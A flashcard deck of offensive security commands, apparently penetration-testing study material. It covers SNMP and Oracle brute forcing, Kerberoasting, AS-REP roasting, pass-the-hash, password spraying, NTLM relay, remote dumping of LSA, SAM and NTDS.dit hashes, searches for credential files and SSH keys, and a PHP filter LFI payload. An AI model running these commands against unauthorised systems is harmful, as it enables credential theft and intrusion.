Linux Hacking Commands Flashcards

1
Q

How to walk OIDs snmp?

A

snmpwalk -v2c -c [comunity string] [ip]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

How to brute force community strings snmp?

A

onesixtyone -c [wordlist] [ip]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

How to bruteforce OIDs snmp?

A

braa [community string]@[ip]:.1.3.6.*

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

How to bruteforce oracle sids with nmap?

A

sudo nmap -p 1521 –open –script oracle-sid-brute

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

How to enumerate oracledb service?

A

./odat.py all -s [ip]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

How to connect to oracledb service?

A

sqlplus [user]/[pass]@[ip]/[sid]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

How to enumerate IPMI with nmap?

A

sudo nmap -sU –script ipmi-version -p 623 [hostname]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

What is the IPMI dumphashes module metasploit?

A

use auxiliary/scanner/ipmi/ipmi_dumphashes

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

How to use xfreerdp with pass the hash?

A

xfreerdp /v:[ip] /u:[user] /pth:[hash]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

How to kerberoast with impacket

A

GetUserSPNs.py [Domain/Username:password] -dc-ip [dc_ip] -request

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

How to kerberoast on domain joined machine rubeus?

A

Rubeus.exe kerberoast

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

How to check if smbexec is enabled with smbmap?

A

smbmap -H $ip -u [username] -p [password] -x “whoami”

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

how to map an smb share with smbmap?

A

smbmap -H [ip] -u [username] -p [password] -r [share name]

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

How to spray passwords for AD users?

A

nxc smb [host] -u [wordlist of users] -p [password wordlist] –continue-on-success

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

How to spray hashes for AD users?

A

nxc smb [host] -u [wordlist of users] -H [hash list] –continue-on-success

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

How to check if smb exec is enabled with nxc?

A

nxc smb [ip] -u [user] -d [doamin] -p [pass] -x whoami

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

How to check if smb exec is enabled with nxc and execute command with local admin?

A

nxc smb [ip] -u [user] -d [doamin] -p [pass] -x whoami —local-auth

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

How to enumerate smb shares with nxc?

A

crackmapexec smb [ip] -u [user] -p [pass] –shares

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

How to enumerate domain users with rid brute?

A

nxc smb $ip -u [user] -p [pass] –rid-brute

20
Q

How to remotely dump lsa?

A

crackmapexec smb [ip] –local-auth -u ‘admin’ -p [pass] –lsa

21
Q

How to remotely dump SAM?

A

crackmapexec smb [ip] –local-auth -u ‘admin’ -p [pass] –sam

22
Q

How to remotely dump NTDS.dit

A

crackmapexec smb [ip] -u [user] -p [pass] –ntds

23
Q

How to remotely execute commands with wmi?

A

wmiexec.py [user]:[pass]@[ip] [command]

24
Q

How to remotely execute commands with wmi by passing a hash?

A

python3 wmiexec.py [user]:[pass]@[ip] -hashes [hash] [command]

25
How to psexec remotely?
python3 psexec.py [user]:[pass]@[ip] [command]
26
How to find AS-REP roastable users?
ldapdomaindump -u '[doamin]\[user]' -p [pass] [ip]
27
How to AS-REP roast with user list?
python3 GetNPUsers.py -dc-ip [ip] [domain]/ -usersfile users.txt
28
How to crack AS-REP roast hashes?
hashcat -m 18200 [hashes] [wordlist] --force
29
How to set up an NTLM relay smb server? 1
python3 ntlmrelayx.py -smb2support -o hashfile
30
How to set up an NTLM relay smb server? 2
impacket-smbserver -smb2support -ip 0.0.0.0 test /tmp
31
How to enumerate AD Users using smb exec?
python3 GetADUsers.py [domain]/[user]:[pass] -dc-ip [ip]
32
How to enumerate AD Users using smb exec by passing the hash?
python3 GetADUsers.py [domain]/[user]@[ip] -hashes [hash]
33
How to dump SAM and LSA?
impacket-secretsdump -sam [sam] -system [system] -security [security]
34
How to connect to smb share with pass the hash?
impacket-smbclient -hashes [hash] [domain]/[user]@[ip]
35
How to convert windows ccache to linux kirbi? and vice versa
imacket-ticketConverter [ccache] [kirbi]
36
How to easily enumerate an AD domain quickly?
enum4linux -a
37
How to spider an smb share?
smbmap -H [target_ip] -u [username] -p [password] -R [share_name] --depth 5
38
How to download a file from an smb share with smbmap?
smbmap -H [target_ip] -u [username] -p [password] -s [share] --download '[share]\[remote_file_path]'
39
How to search for files with credentials?
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
40
How to search for files with passwords?
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
41
How to search for databases?
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
42
How to look for txt files (notes) in home directory?
find /home/* -type f -name "*.txt" -o ! -name "*.*"
43
How to look for scripts?
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
44
How to check cronjobs?
cat /etc/crontab
45
How to search for private SSH keys?
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
46
How to look for public SSH keys?
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"
47
What is the payload for base64 PHP filter?
php://filter/read=convert.base64-encode/resource=[file]